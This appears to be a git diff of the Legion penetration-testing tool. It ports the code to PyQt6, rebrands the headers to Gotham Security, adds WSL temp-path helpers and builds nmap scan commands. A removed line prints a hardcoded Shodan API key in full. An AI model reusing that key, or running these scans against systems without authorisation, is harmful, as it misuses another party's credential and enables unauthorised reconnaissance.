ui/ViewHeaders.py | 6 +- ui/ViewState.py | 6 +- ui/addHostDialog.py | 24 ++-- ui/ancillaryDialog.py | 20 +-- ui/configDialog.py | 16 +-- ui/dialogs.py | 28 ++--- ui/eventfilter.py | 18 +-- ui/gui.py | 64 +++++----- ui/helpDialog.py | 16 +-- ui/models/cvemodels.py | 10 +- ui/models/hostmodels.py | 18 +-- ui/models/processmodels.py | 10 +- ui/models/scriptmodels.py | 10 +- ui/models/servicemodels.py | 20 +-- ui/observers/QtUpdateProgressObserver.py | 6 +- ui/settingsDialog.py | 44 +++---- ui/view.py | 114 ++++++++++-------- utilities/qtLogging.py | 4 +- 135 files changed, 709 insertions(+), 624 deletions(-) mode change 100644 => 100755 deps/Kali-2018.sh mode change 100644 => 100755 deps/Kali-2018WSL.sh mode change 100644 => 100755 deps/Kali-2019.sh mode change 100644 => 100755 deps/Kali-2019WSL.sh mode change 100644 => 100755 deps/Parrot-4.5.sh mode change 100644 => 100755 deps/Parrot-4.5WSL.sh mode change 100644 => 100755 deps/Parrot-4.6.sh mode change 100644 => 100755 deps/Parrot-4.6WSL.sh mode change 100644 => 100755 deps/Ubuntu-16.sh mode change 100644 => 100755 deps/Ubuntu-16WSL.sh mode change 100644 => 100755 deps/Ubuntu-18.sh mode change 100644 => 100755 deps/Ubuntu-18WSL.sh mode change 100644 => 100755 deps/Unknown.sh mode change 100644 => 100755 deps/UnknownWSL.sh mode change 100644 => 100755 deps/apt.sh mode change 100644 => 100755 deps/buildPython36.sh mode change 100644 => 100755 deps/detectOs.sh mode change 100644 => 100755 deps/detectPython.sh mode change 100644 => 100755 deps/detectScripts.sh mode change 100644 => 100755 deps/installDeps.sh mode change 100644 => 100755 deps/installPython36.sh mode change 100644 => 100755 deps/installPythonLibs.sh mode change 100644 => 100755 deps/nmap-wsl.sh mode change 100644 => 100755 deps/primeExploitDb.py mode change 100644 => 100755 deps/setupWsl.sh mode change 100644 => 100755 precommit.sh mode change 100644 => 100755 scripts/fingertool.sh mode change 100644 => 100755 scripts/nmap/shodan-api.nse mode change 100644 => 100755 scripts/nmap/shodan-hq.nse mode change 100644 => 100755 scripts/nmap/vulners.nse mode change 100644 => 100755 scripts/python/__init__.py mode change 100644 => 100755 scripts/python/dummy.py mode change 100644 => 100755 scripts/python/macvendors.py mode change 100644 => 100755 scripts/python/pyShodan.py mode change 100644 => 100755 scripts/x11screenshot.sh mode change 100644 => 100755 startLegion.sh create mode 100644 test.py diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 79478ade..06101dfb 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -101,7 +101,7 @@ LEGION 0.2.1 LEGION 0.2.0 -* Port to PyQt5 +* Port to PyQt6 * Handle process output encoding issues * Added dependancy installer diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 611f2d6c..ae9c35e9 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,18 +13,18 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ applicationInfo = { "name": "LEGION", - "version": "0.3.9", - "build": '1665098899', - "author": "GoVanguard", - "copyright": "2022", - "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], + "version": "0.4.0", + "build": '1699395762', + "author": "Gotham Security", + "copyright": "2023", + "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], "emails": [], - "update": '10/06/2022', + "update": '11/07/2023', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/ModelHelpers.py b/app/ModelHelpers.py index 1d86b171..460f3ec7 100644 --- a/app/ModelHelpers.py +++ b/app/ModelHelpers.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.com) +LEGION (https://gotham-security.com) Copyright (c) 2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public @@ -13,13 +13,13 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ -from PyQt5 import QtCore +from PyQt6 import QtCore def resolveHeaders(role, orientation, section, headers): - if role == QtCore.Qt.DisplayRole and orientation == QtCore.Qt.Horizontal: + if role == QtCore.Qt.ItemDataRole.DisplayRole and orientation == QtCore.Qt.Orientation.Horizontal: if section < len(headers): return headers[section] else: @@ -27,8 +27,8 @@ def resolveHeaders(role, orientation, section, headers): def itemInteractive() -> QtCore.Qt.ItemFlag: - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + return QtCore.Qt.ItemFlag.ItemIsEnabled | QtCore.Qt.ItemFlag.ItemIsSelectable | QtCore.Qt.ItemFlag.ItemIsEditable def itemSelectable() -> QtCore.Qt.ItemFlag: - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + return QtCore.Qt.ItemFlag.ItemIsEnabled | QtCore.Qt.ItemFlag.ItemIsSelectable diff --git a/app/Project.py b/app/Project.py index 59034bc9..6e7e8729 100644 --- a/app/Project.py +++ b/app/Project.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from typing import NamedTuple diff --git a/app/ProjectManager.py b/app/ProjectManager.py index 95bc3af4..107b6f42 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import ntpath import os @@ -22,13 +22,13 @@ from app.Project import Project, ProjectProperties from app.tools.ToolCoordinator import fileExists -from app.auxiliary import Wordlist +from app.auxiliary import Wordlist, getTempFolder from app.shell.Shell import Shell from app.tools.nmap.NmapPaths import getNmapRunningFolder from db.RepositoryFactory import RepositoryFactory from db.SqliteDbAdapter import Database -local_temp_dir = os.path.expanduser("~/.local/share/legion/tmp/") +tempDirectory = getTempFolder() class ProjectManager: @@ -43,10 +43,10 @@ def createNewProject(self, projectType: str, isTemp: bool) -> Project: # to store tool output of finished processes outputFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-tool-output", - directory=local_temp_dir) + directory=tempDirectory) # to store tool output of running processes - runningFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-running", directory=local_temp_dir) + runningFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-running", directory=tempDirectory) self.shell.create_directory_recursively(f"{outputFolder}/screenshots") # to store screenshots self.shell.create_directory_recursively(getNmapRunningFolder(runningFolder)) # to store nmap output @@ -69,7 +69,7 @@ def openExistingProject(self, projectName: str, projectType: str = "legion") -> workingDirectory = f"{ntpath.dirname(projectName)}/" outputFolder, _ = self.__determineOutputFolder(projectName, projectType) runningFolder = self.shell.create_temporary_directory(suffix="-running", prefix=projectType + '-', - directory=local_temp_dir) + directory=tempDirectory) (usernameWordList, passwordWordList) = self.__createUsernameAndPasswordWordLists(outputFolder) projectProperties = ProjectProperties( projectName=projectName, workingDirectory=workingDirectory, projectType=projectType, isTemporary=False, @@ -124,7 +124,7 @@ def __createDatabase(self, projectName: str = None) -> Database: if projectName: return Database(projectName) - databaseFile = self.shell.create_named_temporary_file(suffix=".legion", prefix="legion-", directory=local_temp_dir, + databaseFile = self.shell.create_named_temporary_file(suffix=".legion", prefix="legion-", directory=tempDirectory, delete_on_close=False) # to store the db file return Database(databaseFile.name) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index d0c6865b..5d9849fd 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -15,7 +15,7 @@ """ import subprocess -from PyQt5 import QtCore +from PyQt6 import QtCore from app.http.isHttps import isHttps from app.timing import getTimestamp diff --git a/app/actions/AbstractObservable.py b/app/actions/AbstractObservable.py index 32bd40bb..4d02a098 100644 --- a/app/actions/AbstractObservable.py +++ b/app/actions/AbstractObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import ABC from typing import List diff --git a/app/actions/AbstractObserver.py b/app/actions/AbstractObserver.py index df772ac7..46b3dce6 100644 --- a/app/actions/AbstractObserver.py +++ b/app/actions/AbstractObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import ABC diff --git a/app/actions/updateProgress/AbstractUpdateProgressObservable.py b/app/actions/updateProgress/AbstractUpdateProgressObservable.py index d79bb3cd..5bac54a4 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObservable.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import abstractmethod diff --git a/app/actions/updateProgress/AbstractUpdateProgressObserver.py b/app/actions/updateProgress/AbstractUpdateProgressObserver.py index 1329da0b..9d9d750f 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObserver.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import abstractmethod diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index aab011b9..3eeb0c40 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.actions.updateProgress.AbstractUpdateProgressObservable import AbstractUpdateProgressObservable diff --git a/app/auxiliary.py b/app/auxiliary.py index 60e3d548..0de59ef0 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -17,17 +17,79 @@ """ import os, sys, socket, locale, webbrowser, \ - re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex -from PyQt5 import QtCore, QtWidgets -from PyQt5.QtCore import * # for QProcess + re, platform # for webrequests, screenshot timeouts, timestamps, browser stuff and regex +from PyQt6 import QtCore, QtWidgets +from PyQt6.QtCore import * # for QProcess from six import u as unicode from app.http.isHttps import isHttps from app.logging.legionLog import getAppLogger from app.timing import timing +from PyQt6.QtWidgets import QAbstractItemView +import subprocess + log = getAppLogger() +# Convert Windows path to Posix +def winPath2Unix(windowsPath): + windowsPath = windowsPath.replace("\\", "/") + windowsPath = windowsPath.replace("C:", "/mnt/c") + return windowsPath + + +# Convert Posix path to Windows +def unixPath2Win(posixPath): + posixPath = posixPath.replace("/", "\\") + posixPath = posixPath.replace("\\mnt\\c", "C:") + return posixPath + +# Check if running in WSL +def isWsl(): + release = str(platform.uname().release).lower() + return "microsoft" in release + +# Get the AppData Temp directory path if WSL +def getAppdataTemp(): + try: + username = os.environ["WSL_USER_NAME"] + except KeyError: + raise Exception("WSL detected but environment variable 'WSL_USER_NAME' is unset.") + + appDataTemp = "C:\\Users\\{0}\\AppData\\Local\\Temp".format(username) + appDataTempUnix = winPath2Unix(appDataTemp) + + if os.path.exists(appDataTempUnix): + return appDataTemp + else: + raise Exception("The AppData Temp directory path {0} does not exist.".format(appDataTemp)) + return path + +# Get the temp folder based on os. Create if missing from *nix +def getTempFolder(): + if isWsl(): + tempPathWin = "{0}\\legion\\tmp".format(getAppdataTemp()) + tempPath = winPath2Unix(tempPathWin) + if not os.path.isdir(os.path.expanduser(tempPath)): + os.makedirs(tempPath) + log.info("WSL is detected. The AppData Temp directory path is {0} ({1})".format(tempPath, tempPathWin)) + else: + tempPath = "~/.local/share/legion/tmp" + if not os.path.isdir(os.path.expanduser(tempPath)): + os.makedirs(os.path.expanduser(tempPath)) + log.info("Non-WSL The AppData Temp directory path is {0}".format(tempPath)) + return tempPath + +def getPid(qprocess): + pid = qprocess.processId() + return pid + +def formatCommandQProcess(inputCommand): + parts = inputCommand.split() + program = parts[0] + arguments = parts[1:] + return program, arguments + # bubble sort algorithm that sorts an array (in place) based on the values in another array # the values in the array must be comparable and in the corresponding positions # used to sort objects by one of their attributes. @@ -69,7 +131,7 @@ def clearLayout(layout): def setTableProperties(table, headersLen, hiddenColumnIndexes=[]): table.verticalHeader().setVisible(False) # hide the row headers table.setShowGrid(False) # hide the table grid - table.setSelectionBehavior(QtWidgets.QTableView.SelectRows) # select entire row instead of single cell + table.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) # select entire row instead of single cell table.setSortingEnabled(True) # enable column sorting table.horizontalHeader().setStretchLastSection(True) # header behaviour table.horizontalHeader().setSortIndicatorShown(False) # hide sort arrow from column header @@ -82,7 +144,7 @@ def setTableProperties(table, headersLen, hiddenColumnIndexes=[]): for i in hiddenColumnIndexes: # hide some columns table.setColumnHidden(i, True) - table.setContextMenuPolicy(Qt.CustomContextMenu) # create the right-click context menu + table.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) # create the right-click context menu def checkHydraResults(output): diff --git a/app/http/isHttps.py b/app/http/isHttps.py index 0423ec5f..63b1662f 100644 --- a/app/http/isHttps.py +++ b/app/http/isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import ssl diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index c9723974..abf984cc 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,11 +13,11 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import sys -from PyQt5 import QtCore +from PyQt6 import QtCore from app.actions.updateProgress import AbstractUpdateProgressObservable from app.logging.legionLog import getAppLogger @@ -73,7 +73,7 @@ def run(self): nmapReport = parseNmapReport(self.filename) except MalformedXmlDocumentException as e: self.tsLog('Giving up on import due to previous errors.') - appLog.error(f"nmap xml report is likely malformed: {e}") + appLog.error(f"NMAP xml report is likely malformed: {e}") self.updateProgressObservable.finished() self.done.emit() return diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index 4050bdb9..a1074780 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,9 +13,9 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ -from PyQt5 import QtCore +from PyQt6 import QtCore from db.entities.host import hostObj from scripts.python import pyShodan, macvendors diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index 7c8ba304..acc9f9e9 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import os import logging diff --git a/app/logic.py b/app/logic.py index 50e12852..84cf0cee 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/settings.py b/app/settings.py index 9d051f73..a93b10aa 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -35,7 +35,7 @@ def __init__(self): os.makedirs(os.path.expanduser("~/.local/share/legion")) shutil.copy('./legion.conf', os.path.expanduser('~/.local/share/legion/legion.conf')) log.info('Loading settings file..') - self.actions = QtCore.QSettings(os.path.expanduser('~/.local/share/legion/legion.conf'), QtCore.QSettings.NativeFormat) + self.actions = QtCore.QSettings(os.path.expanduser('~/.local/share/legion/legion.conf'), QtCore.QSettings.Format.NativeFormat) def getGeneralSettings(self): return self.getSettingsByGroup("GeneralSettings") @@ -117,7 +117,7 @@ def backupAndSave(self, newSettings, saveBackup=True): else: log.info('Saving config...') - self.actions = QtCore.QSettings(os.path.expanduser('~/.local/share/legion/legion.conf'), QtCore.QSettings.NativeFormat) + self.actions = QtCore.QSettings(os.path.expanduser('~/.local/share/legion/legion.conf'), QtCore.QSettings.Format.NativeFormat) self.actions.beginGroup('GeneralSettings') self.actions.setValue('default-terminal', newSettings.general_default_terminal) @@ -229,7 +229,7 @@ def __init__(self, appSettings=None): self.tools_path_hydra = "/usr/bin/hydra" self.tools_path_cutycapt = "/usr/bin/cutycapt" self.tools_path_texteditor = "/usr/bin/xdg-open" - self.tools_pyshodan_api_key = "SNYEkE0gdwNu9BRURVDjWPXePCquXqht" + self.tools_pyshodan_api_key = "" # GUI settings self.gui_process_tab_column_widths = "125,0,100,150,100,100,100,100,100,100,100,100,100,100,100,100,100" diff --git a/app/timing.py b/app/timing.py index be648bb4..1f4089de 100644 --- a/app/timing.py +++ b/app/timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from datetime import datetime from functools import wraps diff --git a/app/tools/ToolCoordinator.py b/app/tools/ToolCoordinator.py index d5f90b59..91a48ce4 100644 --- a/app/tools/ToolCoordinator.py +++ b/app/tools/ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import ntpath diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py index 96628e2b..88cf72fd 100644 --- a/app/tools/nmap/DefaultNmapExporter.py +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import subprocess from logging import Logger diff --git a/app/tools/nmap/NmapExporter.py b/app/tools/nmap/NmapExporter.py index f898481a..84c35149 100644 --- a/app/tools/nmap/NmapExporter.py +++ b/app/tools/nmap/NmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import ABC diff --git a/app/tools/nmap/NmapHelpers.py b/app/tools/nmap/NmapHelpers.py index d8d591c5..4d322ba5 100644 --- a/app/tools/nmap/NmapHelpers.py +++ b/app/tools/nmap/NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.shell.Shell import Shell diff --git a/app/tools/nmap/NmapPaths.py b/app/tools/nmap/NmapPaths.py index b38e8190..aa7028a0 100644 --- a/app/tools/nmap/NmapPaths.py +++ b/app/tools/nmap/NmapPaths.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ diff --git a/controller/controller.py b/controller/controller.py index 185eddc3..b96fde96 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -25,6 +25,7 @@ from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter from app.tools.nmap.NmapPaths import getNmapRunningFolder +from app.auxiliary import unixPath2Win, winPath2Unix, getPid, formatCommandQProcess from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver try: @@ -227,6 +228,7 @@ def closeProject(self): self.view.updateProcessesTableView() # clear process table self.logic.projectManager.closeProject(self.logic.activeProject) + @timing def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scanMode, nmapOptions = []): if targetHosts == '': @@ -239,18 +241,21 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan self.runStagedNmap(targetHosts, runHostDiscovery) elif runHostDiscovery: outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-host-discover' + outputfile = unixPath2Win(outputfile) command = f"nmap -n -sV -O --version-light -T{str(nmapSpeed)} {targetHosts} -oA {outputfile}" log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-list' + outputfile = unixPath2Win(outputfile) command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile self.runCommand('nmap', 'nmap (list)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) elif scanMode == 'Hard': outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-custom' + outputfile = unixPath2Win(outputfile) nmapOptionsString = ' '.join(nmapOptions) if 'randomize' not in nmapOptionsString: nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) @@ -385,7 +390,7 @@ def getContextMenuForServiceName(self, serviceName='*', menu=None): # if the user pressed SHIFT+Right-click show full menu modifiers = QtWidgets.QApplication.keyboardModifiers() - if modifiers == QtCore.Qt.ShiftModifier: + if modifiers == QtCore.Qt.KeyboardModifier.ShiftModifier: shiftPressed = True else: shiftPressed = False @@ -440,7 +445,7 @@ def getContextMenuForPort(self, serviceName='*'): menu = QMenu() 